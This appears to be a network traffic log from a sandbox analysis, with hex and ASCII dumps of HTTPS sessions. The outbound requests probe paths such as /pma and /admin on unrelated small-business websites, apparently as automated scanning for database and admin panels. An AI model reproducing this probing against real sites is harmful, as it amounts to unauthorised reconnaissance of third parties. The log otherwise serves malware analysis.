2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 74 6f 3b 0d 0a 09 09 09 Data Ascii: at: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: auto;
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f 64 79 22 0a 20 20 20 20 Data Ascii: pt>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="body"
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d 22 3a 20 7b 0a 20 20 20 Data Ascii: <span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form": {
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 Data Ascii: :{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal\/totals
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.4	63494	23.227.38.32	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	169	OUT	GET /pma HTTP/1.1 Host: artusopastry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	1357	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 312 X-Sorting-Hat-ShopId: 1584544 X-Storefront-Renderer-Rendered: 1 ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592" Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin Set-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:34 GMT Set-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:34 GMT; SameSite=Lax Set-Cookie: _shopify_y=52114d99-cf7b-4a08-9644-535ae5b19f66; Expires=Thu, 19-Dec-24 02:13:34 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax Set-Cookie: _shopify_s=a9597e53-c656-497f-b373-7c964f9018bc; Expires=Wed, 20-Dec-23 02:43:34 GMT; Domain=artusopastry.com; Path=/; SameSite=Lax X-Cache: hit, server X-Frame-Options: DENY Content-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests; Strict-Transport-Security: max-age=7889238 X-ShopId: 1584544 X-ShardId: 312 Vary: Accept Content-Language: en-US powered-by: Shopify
2023-12-20 02:13:34 UTC	932	IN	Data Raw: 53 65 72 76 65 72 2d 54 69 6d 69 6e 67 3a 20 70 72 6f 63 65 73 73 69 6e 67 3b 64 75 72 3d 31 35 3b 64 65 73 63 3d 22 67 63 3a 31 22 2c 20 64 62 3b 64 75 72 3d 34 2c 20 61 73 6e 3b 64 65 73 63 3d 22 31 37 34 22 2c 20 65 64 67 65 3b 64 65 73 63 3d 22 4d 49 41 22 2c 20 63 6f 75 6e 74 72 79 3b 64 65 73 63 3d 22 55 53 22 2c 20 74 68 65 6d 65 3b 64 65 73 63 3d 22 38 34 30 39 31 37 39 37 35 39 30 22 2c 20 70 61 67 65 54 79 70 65 3b 64 65 73 63 3d 22 34 30 34 22 2c 20 73 65 72 76 65 64 42 79 3b 64 65 73 63 3d 22 72 76 34 6e 22 2c 20 72 65 71 75 65 73 74 49 44 3b 64 65 73 63 3d 22 61 65 61 65 34 37 39 32 2d 64 65 38 34 2d 34 66 61 62 2d 62 39 39 35 2d 64 65 33 62 66 39 65 65 36 62 63 39 22 0d 0a 58 2d 53 68 6f 70 69 66 79 2d 53 74 61 67 65 3a 20 70 72 6f 64 75 63 Data Ascii: Server-Timing: processing;dur=15;desc="gc:1", db;dur=4, asn;desc="174", edge;desc="MIA", country;desc="US", theme;desc="84091797590", pageType;desc="404", servedBy;desc="rv4n", requestID;desc="aeae4792-de84-4fab-b995-de3bf9ee6bc9"X-Shopify-Stage: produc
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 33 65 62 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 21 2d 2d 20 42 61 73 69 63 20 70 61 67 65 20 6e 65 65 64 73 20 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 20 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 0a 20 20 0a 0a 20 20 3c 21 2d 2d 20 54 69 74 6c 65 20 61 6e 64 20 64 65 73 Data Ascii: 3eb5<!doctype html><html class="no-js" lang="en"><head> ... Basic page needs ================================================== --> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> ... Title and des
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 66 35 30 35 62 64 61 63 30 34 33 5f 31 32 30 30 78 31 32 30 30 2e 70 6e 67 3f 76 3d 31 37 30 30 34 32 33 38 36 36 22 3e 0a 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 6f 6b 69 65 73 2c 20 63 61 6b 65 73 2c 20 70 61 73 74 72 69 65 73 20 61 72 65 20 61 6c 6c 20 73 79 6e 6f 6e 79 6d 6f 75 73 20 77 69 74 68 20 41 72 74 75 73 6f 20 50 61 73 74 72 Data Ascii: f505bdac043_1200x1200.png?v=1700423866"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:title" content="404 Not Found"><meta name="twitter:description" content="Cookies, cakes, pastries are all synonymous with Artuso Pastr
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 6d 50 72 65 76 3a 20 22 50 72 65 76 69 6f 75 73 20 28 4c 65 66 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 7a 6f 6f 6d 4e 65 78 74 3a 20 22 4e 65 78 74 20 28 52 69 67 68 74 20 61 72 72 6f 77 20 6b 65 79 29 22 2c 0a 20 20 20 20 20 20 6d 6f 6e 65 79 46 6f 72 6d 61 74 3a 20 22 24 7b 7b 61 6d 6f 75 6e 74 7d 7d 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 45 72 72 6f 72 3a 20 22 45 72 72 6f 72 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 4e 6f 52 65 73 75 6c 74 73 3a 20 22 4e 6f 20 72 65 73 75 6c 74 73 20 66 6f 72 20 74 68 61 74 20 61 64 64 72 65 73 73 22 2c 0a 20 20 20 20 20 20 61 64 64 72 65 73 73 51 75 65 72 79 4c 69 6d 69 74 3a 20 22 59 6f 75 20 68 61 76 65 20 Data Ascii: mPrev: "Previous (Left arrow key)", zoomNext: "Next (Right arrow key)", moneyFormat: "${{amount}}", addressError: "Error looking up that address", addressNoResults: "No results for that address", addressQueryLimit: "You have
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 6e 64 6f 77 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 61 72 6b 28 27 73 68 6f 70 69 66 79 2e 63 6f 6e 74 65 6e 74 5f 66 6f 72 5f 68 65 61 64 65 72 2e 73 74 61 72 74 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 6f 6f 67 6c 65 2d 73 69 74 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 32 6c 71 57 52 6e 49 5f 72 7a 72 52 6d 72 43 32 4c 55 48 30 30 49 68 6b 35 30 56 70 67 34 51 6f 46 52 32 64 47 32 4b 43 71 63 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 6e 61 6d 65 3d 22 73 68 6f 70 69 66 79 2d 64 69 67 69 74 61 6c 2d 77 61 6c 6c 65 74 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 31 35 38 34 35 34 34 2f 64 69 67 69 74 61 6c 5f 77 61 6c 6c 65 Data Ascii: ndow.performance.mark('shopify.content_for_header.start');</script><meta name="google-site-verification" content="_2lqWRnI_rzrRmrC2LUH00Ihk50Vpg4QoFR2dG2KCqc"><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/1584544/digital_walle
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 5c 2f 5c 2f 73 68 6f 70 69 66 79 5c 2f 53 68 6f 70 5c 2f 31 35 38 34 35 34 34 22 2c 22 6d 65 72 63 68 61 6e 74 4e 61 6d 65 22 3a 22 41 72 74 75 73 6f 20 50 61 73 74 72 79 22 2c 22 72 65 71 75 69 72 65 64 42 69 6c 6c 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 72 65 71 75 69 72 65 64 53 68 69 70 70 69 6e 67 43 6f 6e 74 61 63 74 46 69 65 6c 64 73 22 3a 5b 22 70 6f 73 74 61 6c 41 64 64 72 65 73 73 22 2c 22 65 6d 61 69 6c 22 5d 2c 22 73 68 69 70 70 69 6e 67 54 79 70 65 22 3a 22 73 68 69 70 70 69 6e 67 22 2c 22 73 75 70 70 6f 72 74 65 64 4e 65 74 77 6f 72 6b 73 22 3a 5b 22 76 69 73 61 22 2c 22 6d 61 73 74 65 72 43 61 72 64 22 2c 22 61 6d 65 78 22 2c 22 64 69 73 63 6f 76 Data Ascii: \/\/shopify\/Shop\/1584544","merchantName":"Artuso Pastry","requiredBillingContactFields":["postalAddress","email"],"requiredShippingContactFields":["postalAddress","email"],"shippingType":"shipping","supportedNetworks":["visa","masterCard","amex","discov
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 64 6c 65 22 3a 6e 75 6c 6c 7d 3b 0a 53 68 6f 70 69 66 79 2e 63 64 6e 48 6f 73 74 20 3d 20 22 61 72 74 75 73 6f 70 61 73 74 72 79 2e 63 6f 6d 2f 63 64 6e 22 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 3d 20 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 20 7c 7c 20 7b 7d 3b 0a 53 68 6f 70 69 66 79 2e 72 6f 75 74 65 73 2e 72 6f 6f 74 20 3d 20 22 2f 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 6d 6f 64 75 6c 65 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 28 6f 2e 53 68 6f 70 69 66 79 3d 6f 2e 53 68 6f 70 69 66 79 7c 7c 7b 7d 29 2e 6d 6f 64 75 6c 65 73 3d 21 30 7d 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 Data Ascii: dle":null};Shopify.cdnHost = "artusopastry.com/cdn";Shopify.routes = Shopify.routes \|\| {};Shopify.routes.root = "/";</script><script type="module">!function(o){(o.Shopify=o.Shopify\|\|{}).modules=!0}(window);</script><script>!function(o){function n(){v
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 2c 22 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 73 68 6f 70 2d 70 61 79 2d 70 61 79 6d 65 6e 74 2d 72 65 71 75 65 73 74 5f 65 31 31 30 64 32 61 61 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d 6f 6e 5f 61 61 31 38 66 33 64 38 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 73 68 6f 70 2d 70 61 79 5f 33 61 30 35 38 65 62 61 2e 65 73 6d 2e 6a 73 22 5d 2c 22 64 69 73 63 6f 75 6e 74 2d 61 70 70 22 3a 5b 22 6d 6f 64 75 6c 65 73 2f 63 6c 69 65 6e 74 2e 64 69 73 63 6f 75 6e 74 2d 61 70 70 5f 34 35 66 66 61 66 63 63 2e 65 6e 2e 65 73 6d 2e 6a 73 22 2c 22 6d 6f 64 75 6c 65 73 2f 63 68 75 6e 6b 2e 63 6f 6d 6d Data Ascii: ,"shop-pay-payment-request":["modules/client.shop-pay-payment-request_e110d2aa.en.esm.js","modules/chunk.common_aa18f3d8.esm.js","modules/chunk.shop-pay_3a058eba.esm.js"],"discount-app":["modules/client.discount-app_45ffafcc.en.esm.js","modules/chunk.comm
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 6e 61 67 65 72 2e 6e 65 74 5c 2f 75 65 74 5c 2f 74 72 61 63 6b 69 6e 67 5f 73 63 72 69 70 74 3f 73 68 6f 70 3d 61 72 74 75 73 6f 70 61 73 74 72 79 2e 6d 79 73 68 6f 70 69 66 79 2e 63 6f 6d 5c 75 30 30 32 36 73 70 2d 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3d 63 48 56 69 62 47 6c 6a 4c 43 42 74 59 58 67 74 59 57 64 6c 50 54 6b 77 4d 41 22 5d 3b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 3b 20 69 20 3c 20 75 72 6c 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 20 20 73 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 0a 20 20 20 20 20 20 73 2e 61 73 79 6e 63 Data Ascii: nager.net\/uet\/tracking_script?shop=artusopastry.myshopify.com\u0026sp-cache-control=cHVibGljLCBtYXgtYWdlPTkwMA"]; for (var i = 0; i < urls.length; i++) { var s = document.createElement('script'); s.type = 'text/javascript'; s.async
2023-12-20 02:13:34 UTC	1369	IN	Data Raw: 5f 63 75 73 74 6f 6d 65 72 22 5d 27 2c 27 66 6f 72 6d 5b 61 63 74 69 6f 6e 2a 3d 22 2f 63 6f 6e 74 61 63 74 22 5d 20 69 6e 70 75 74 5b 6e 61 6d 65 3d 22 66 6f 72 6d 5f 74 79 70 65 22 5d 5b 76 61 6c 75 65 3d 22 63 75 73 74 6f 6d 65 72 22 5d 27 5d 2e 6a 6f 69 6e 28 22 2c 22 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 65 3d 65 2e 74 61 72 67 65 74 3b 6e 75 6c 6c 3d 3d 65 7c 7c 6e 75 6c 6c 21 3d 28 65 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 69 66 28 6e 75 6c 6c 3d 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 46 4f 52 4d 22 21 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e 61 6d 65 29 72 65 74 75 72 6e 20 65 28 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2c 6e 29 3b 66 6f 72 Data Ascii: _customer"]','form[action*="/contact"] input[name="form_type"][value="customer"]'].join(",");function n(e){e=e.target;null==e\|\|null!=(e=function e(t,n){if(null==t.parentElement)return null;if("FORM"!=t.parentElement.tagName)return e(t.parentElement,n);for

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.4	63480	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	318	OUT	GET /pma/ HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_jBPsuLgq+0zPR4YKSh6+NfJjcok1Xtuo8lyKOz1KwjWSkHJL08d0+JaveREUdaH8x28BSlGhdMjRp4bsf3MxSQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:34 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.4	63478	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	322	OUT	GET /admin HTTP/1.1 Host: walshfam.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
